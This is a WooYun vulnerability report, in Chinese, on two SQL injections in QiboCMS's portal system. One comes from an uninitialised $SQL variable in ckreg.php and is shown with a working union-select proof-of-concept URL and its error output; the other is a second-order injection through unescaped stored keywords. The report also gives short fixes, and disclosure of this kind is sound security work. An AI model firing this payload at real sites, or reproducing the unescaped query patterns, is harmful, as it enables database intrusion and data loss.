WooYun-2014-80867:qibocms地方门户系统注入一个问题(demo测试)

漏洞作者: ′雨。认证白帽子

来源:http://www.wooyun.org/bugs/wooyun-2014-080867

简要描述

一周4个小时的假期也够苦的。 life5.qibosoft.com 听说一般应用。 注入 && 另外一个问题。

详细说明

if(ereg("^([-_0-9a-zA-Z]+)$",$_GET[jobs])){

    //不读数据库

    if(is_file(dirname(__FILE__)."/../inc/job/$_GET[jobs].php")){

        include(dirname(__FILE__)."/../inc/job/$_GET[jobs].php");

    }

}elseif(ereg("^([-_0-9a-zA-Z]+)$",$_GET['job'])||ereg("^([-_0-9a-zA-Z]+)$",$_POST['job'])){

    //读数据库

    require(dirname(__FILE__)."/"."global.php");

    if(ereg("^([-_0-9a-zA-Z]+)$",$job)&&is_file(ROOT_PATH."inc/job/$job.php")){

        include(ROOT_PATH."inc/job/$job.php");

    }

}

包含文件进来。

inc/job/ckreg.php 中

}elseif($type=='yzimg'){

    if($db->get_one("SELECT * FROM {$pre}yzimg WHERE $SQL imgnum='$name' AND sid='$usr_sid'")){

        die("<img src=$webdb[www_url]/images/default/check_right.gif> <font color=red>验证码输入正确!</font>");

    }else{

        die("<img src=$webdb[www_url]/images/default/check_error.gif>请输入正确的验证码"); 

    }

这里的$SQL并没有初始化, 结合qibocms的全局机制 可以直接控制这个变量 导致注入。

demo测试:

http://**.**.**.**/do/job.php?job=ckreg&type=yzimg&SQL=1=1 union select 1%23

数据库连接出错:SELECT * FROM life5_yzimg WHERE 1=1 union select 1# imgnum='' AND sid='1wmqh6ce'

The used SELECT statements have a different number of columns

1222请输入正确的验证码


第二个问题

在wei/member/post.php中

elseif($action=="del")

{

    $rsdb=$db->get_one("SELECT B.*,A.* FROM `{$_pre}content` A LEFT JOIN `{$_pre}content_1` B ON A.id=B.id WHERE A.id='$id'");

    if($rsdb[fid]!=$fidDB[fid]){    

        showerr("栏目有问题");

    }

    if($rsdb[uid]!=$lfjuid&&!$web_admin)

    {

        showerr("你无权操作");

    }

    $db->query("DELETE FROM `{$_pre}content` WHERE id='$id' ");

    $db->query("DELETE FROM `{$_pre}content_1` WHERE id='$id' ");

    $db->query("DELETE FROM `{$_pre}comments` WHERE id='$id' ");

    keyword_del($id,$rsdb['keywords']);

keyword_del($id,$rsdb['keywords']);

这里是出库来的 所以能引入转义符啥的。

function keyword_del($id,$keyword){

    global $db,$_pre;

    if(!$keyword){

        return ;

    }

    $detail2=explode(" ",$keyword);

    foreach( $detail2 AS $key=>$value){

        if($value){

            $db->query("UPDATE `{$_pre}keyword` SET num=num-1 WHERE BINARY `keywords`='$value'");

            $_rs=$db->get_one("SELECT kid,num FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'");

            if($_rs[num]<1){

                $db->query("DELETE FROM `{$_pre}keyword` WHERE BINARY `keywords`='$value'");    

            }

            $kid=$_rs[kid];

            $db->query("DELETE FROM `{$_pre}keywordid` WHERE `kid`='$kid' AND id='$id'");

可以看到 出库的没过滤 再一次带入到查询当中

首先 关键字中写一些特殊字符 然后入库

然后修改。

在点击确认。

出库 造成注入。

漏洞证明

修复方案

第一个初始化一下

第二个 出库转义。